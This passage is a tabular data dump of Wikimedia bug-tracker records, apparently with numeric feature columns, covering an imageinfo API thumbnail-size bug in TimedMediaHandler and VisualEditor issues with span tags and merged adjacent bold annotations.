**Severity**: normal",High,80.0,1371774060,1372722142.0,PHID-USER-s7sn3zjthnxvep34c5ho,False,,False,PHID-TASK-dvy6cixcc2nxje733xv6,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,5.0,0.0,5.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,4.025,0.75,"In this call URL it returns thumbwidth=""1913"" thumbheight=""-1"" as a size of an thumb, which is completly wrong.

--------------------------
**Version**: master
**Severity**: normal"
233511,imageinfo API returns incorrect data,"This backport is now live; as such, marking this bug as fixed.",,,1372722142,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dvy6cixcc2nxje733xv6,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.4,0.9333333333333333,"This backport is now live; as such, marking this bug as fixed."
233507,imageinfo API returns incorrect data,"Change 71393 merged by Catrope:
Clean up transform dimension height handling

https://gerrit.wikimedia.org/r/71393",,,1372706216,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dvy6cixcc2nxje733xv6,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.266666666666667,1.0,"Change 71393 merged by Catrope:
Clean up transform dimension height handling

GERRIT_URL"
233503,imageinfo API returns incorrect data,"Change 71393 had a related patch set uploaded by Catrope:
Clean up transform dimension height handling

https://gerrit.wikimedia.org/r/71393",,,1372706194,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dvy6cixcc2nxje733xv6,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,"Change 71393 had a related patch set uploaded by Catrope:
Clean up transform dimension height handling

GERRIT_URL"
233497,imageinfo API returns incorrect data,"(In reply to comment #2)
> Related URL: https://gerrit.wikimedia.org/r/69869 (Gerrit Change
> Ide7208394f8495f5b143cbba215d4645598f1a50)

This has been merged, and went out with wmf9. However, given that wmf8 is on the servers for an extra week and it makes really not-nice behaviour in VisualEditor, we probably want to back-port this.",,,1372581138,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dvy6cixcc2nxje733xv6,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,16.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,2.0,4.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,4.0,16.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.473684210526316,0.8596491228070176,"(In reply to comment #2)
QUOTE
QUOTE

This has been merged, and went out with wmf9. However, given that wmf8 is on the servers for an extra week and it makes really not-nice behaviour in VisualEditor, we probably want to back-port this."
233492,imageinfo API returns incorrect data,Related URL: https://gerrit.wikimedia.org/r/69869 (Gerrit Change Ide7208394f8495f5b143cbba215d4645598f1a50),,,1371829144,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dvy6cixcc2nxje733xv6,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ide7208394f8495f5b143cbba215d4645598f1a50)
233485,imageinfo API returns incorrect data,"There are actually two bugs going on here.

First, TimedMediaHandler isn't normalizing dimensions for audio files, which means that the height=-1 being passed to indicate ""don't limit by height"" is being misinterpreted.

And second, TimedMediaHandler is using an incorrect calculation when the height is the limiting factor on the thumbnail dimensions, leading to the width of 1913. The same happens if you pass something like iiurlwidth=220&iiurlheight=10.

Since both of these are in TimedMediaHandler, I'm going to reassign this there. I'll also submit a patch momentarily.",,,1371829089,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-dvy6cixcc2nxje733xv6,task_subcomment,,True,c1,2,False,,,-2,,0.0,1.0,0.0,1.5,1.0,2.0,2.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.5,2.0,0.5,6.5,11.0,1.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,7.5,1.0,0.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.5,8.5,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,6.5,5.0,7.5,3.0,0.5,9.5,0.0,0.0,0.0,0.0,3.5,0.0,1.5,0.0,3.0,11.0,1.5,0.0,1.0,0.0,3.0,0.0,1.0,1.5,0.0,4.5,0.0,0.0,0.0,4.713534107402032,0.8096879535558781,"There are actually two bugs going on here.

First, TimedMediaHandler isn't normalizing dimensions for audio files, which means that the height=-1 being passed to indicate ""don't limit by height"" is being misinterpreted.

And second, TimedMediaHandler is using an incorrect calculation when the height is the limiting factor on the thumbnail dimensions, leading to the width of 1913. The same happens if you pass something like iiurlwidth=220&iiurlheight=10.

Since both of these are in TimedMediaHandler, I'm going to reassign this there. I'll also submit a patch momentarily."
51892,VisualEditor: Miscellaneous <span> tags added,"See https://en.wikipedia.org/w/index.php?title=User%3AEdgepedia%2FVE%2FMet&diff=560772671&oldid=560563847 for example; I have no idea why (problem with the template itself?)

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371748980,1373056128.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-jm7w3nmu4dvvbq4cevqz,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,14.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.7222222222222223,0.75,"See URL for example; I have no idea why (problem with the template itself?)

--------------------------
**Version**: unspecified
**Severity**: normal"
231539,VisualEditor: Miscellaneous <span> tags added,"I believe we have fixed this bug; if it recurs, please re-open.",,,1373056128,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jm7w3nmu4dvvbq4cevqz,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,18.0,12.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0588235294117645,1.0,"I believe we have fixed this bug; if it recurs, please re-open."
51873,VisualEditor: <span> annotations next to each other aren't necessarily the same,"Two users have reported on this. 

See:
http://en.wikipedia.org/w/index.php?title=User:AussieLegend/Vandals_etc&diff=prev&oldid=560719781

And:
http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Font_colors_in_signatures_changed

I realize that this is probably tied into other behavior, but I lack code-fu to determine what. :)

Maggie

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=42803",High,80.0,1371732540,1373852393.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-fhtlyq5kho6tpsip3niy,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,19.0,1.0,3.0,3.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.242857142857143,0.5714285714285714,"Two users have reported on this. 

See:
URL

And:
URL

I realize that this is probably tied into other behavior, but I lack code-fu to determine what. :)

Maggie

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
230418,VisualEditor: <span> annotations next to each other aren't necessarily the same,Merged and will go out tomorrow.,,,1373852393,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,1.0,Merged and will go out tomorrow.
230413,VisualEditor: <span> annotations next to each other aren't necessarily the same,"Change 73523 merged by jenkins-bot:
HACK: Don't merge adjacent annotations from Parsoid

https://gerrit.wikimedia.org/r/73523",,,1373852315,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.45,0.95,"Change 73523 merged by jenkins-bot:
HACK: Don't merge adjacent annotations from Parsoid

GERRIT_URL"
230408,VisualEditor: <span> annotations next to each other aren't necessarily the same,*** Bug 51234 has been marked as a duplicate of this bug. ***,,,1373711757,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51234 has been marked as a duplicate of this bug. ***
230403,VisualEditor: <span> annotations next to each other aren't necessarily the same,"Change 73523 had a related patch set uploaded by Esanders:
HACK: Don't merge adjacent annotations from Parsoid

https://gerrit.wikimedia.org/r/73523",,,1373664173,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.6521739130434785,0.9565217391304348,"Change 73523 had a related patch set uploaded by Esanders:
HACK: Don't merge adjacent annotations from Parsoid

GERRIT_URL"
230397,VisualEditor: <span> annotations next to each other aren't necessarily the same,"Adding Parsoid bug 42803 as a dependency. We do add nowiki between most cases of adjacent quotes to ensure at least correctness, but the markup will indeed not be optimal.",,,1373643542,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,3.0,15.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,9.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,3.0,15.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,0.0,4.303030303030303,0.9696969696969697,"Adding Parsoid bug 42803 as a dependency. We do add nowiki between most cases of adjacent quotes to ensure at least correctness, but the markup will indeed not be optimal."
230390,VisualEditor: <span> annotations next to each other aren't necessarily the same,*** Bug 50291 has been marked as a duplicate of this bug. ***,,,1373632745,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50291 has been marked as a duplicate of this bug. ***
230381,VisualEditor: <span> annotations next to each other aren't necessarily the same,"All we need to do is turn off similar annotation comparisons in VE completely, but Parsoid is not ready for that yet, for example adding new bold text next to Parsoid-generated bold text would create:

<b data=parsoid="""">Old bold text</b><b>New bold text from VE</b>

which Parsoid should obviously merge to:

'''Old bold textNew bold text from VE'''

but doesn't yet.

Once this is all handled correctly, we can turn off similar annotation comparisons and the two bolds in <b>Foo</b><b>Bar</b> will no longer be merged (as they have will have different data-parsoid's). Of course Parsoid will not want to merge them either so that will factor into their logic.",,,1373632309,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,3,True,,,1,,1.0,0.0,0.5,0.5,2.0,7.0,1.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,1.0,0.0,9.5,9.5,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,3.5,0.5,5.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,8.0,0.5,2.0,4.5,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,4.0,9.5,5.5,0.0,1.0,0.0,4.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,5.0,3.8888888888888893,0.7986111111111112,"All we need to do is turn off similar annotation comparisons in VE completely, but Parsoid is not ready for that yet, for example adding new bold text next to Parsoid-generated bold text would create:

<b data=parsoid="""">Old bold text</b><b>New bold text from VE</b>

which Parsoid should obviously merge to:

'''Old bold textNew bold text from VE'''

but doesn't yet.

Once this is all handled correctly, we can turn off similar annotation comparisons and the two bolds in <b>Foo</b><b>Bar</b> will no longer be merged (as they have will have different data-parsoid's). Of course Parsoid will not want to merge them either so that will factor into their logic."
230374,VisualEditor: <span> annotations next to each other aren't necessarily the same,"(In reply to comment #6)
> I still see annotation merging on this test case:
> 
> http://www.mediawiki.org/wiki/User:GWicke/TestDoubleFormatting?veaction=edit
> 
> Steps to reproduce:
> 
> * append a char to 'baz'
> * preview the change
> 
> Result: The bold ranges are merged, leading to a dirty diff
> Expected result: no merging and no dirty diff
That should be the only remaining annotation merging issue. I've been meaning to file a bug about it but I keep forgetting.

Ed, we need to preserve the difference between <b>Foo</b><b>Bar</b> and <b>FooBar</b> somehow. Feel free to hit me up on IRC if you want to talk about how we should do that.",,,1373576556,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,1.0,0.5,0.5,0.0,0.5,0.0,4.5,1.0,2.0,10.0,0.0,4.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,2.5,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,14.0,2.0,2.0,3.5,0.0,0.0,0.0,0.5,6.5,0.0,0.5,0.0,6.0,10.0,8.5,0.0,0.0,0.0,6.0,0.0,1.0,0.5,1.0,2.0,0.0,0.0,8.0,3.3066666666666666,0.6743137254901961,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
That should be the only remaining annotation merging issue. I've been meaning to file a bug about it but I keep forgetting.

Ed, we need to preserve the difference between <b>Foo</b><b>Bar</b> and <b>FooBar</b> somehow. Feel free to hit me up on IRC if you want to talk about how we should do that."
230368,VisualEditor: <span> annotations next to each other aren't necessarily the same,"I still see annotation merging on this test case:

http://www.mediawiki.org/wiki/User:GWicke/TestDoubleFormatting?veaction=edit

Steps to reproduce:

* append a char to 'baz'
* preview the change

Result: The bold ranges are merged, leading to a dirty diff
Expected result: no merging and no dirty diff",,,1373575903,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,11.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.5272727272727273,0.7090909090909091,"I still see annotation merging on this test case:

URL

Steps to reproduce:

* append a char to 'baz'
* preview the change

Result: The bold ranges are merged, leading to a dirty diff
Expected result: no merging and no dirty diff"
230361,VisualEditor: <span> annotations next to each other aren't necessarily the same,"Several of these issues are actually on the VE side, so reopening.",,,1372735042,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,3,True,,,0,,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.9285714285714284,1.0,"Several of these issues are actually on the VE side, so reopening."
230352,VisualEditor: <span> annotations next to each other aren't necessarily the same,"

*** This bug has been marked as a duplicate of bug 48194 ***",,,1371814259,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 48194 ***"
230345,VisualEditor: <span> annotations next to each other aren't necessarily the same,"

*** This bug has been marked as a duplicate of bug 42803 ***",,,1371813989,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 42803 ***"
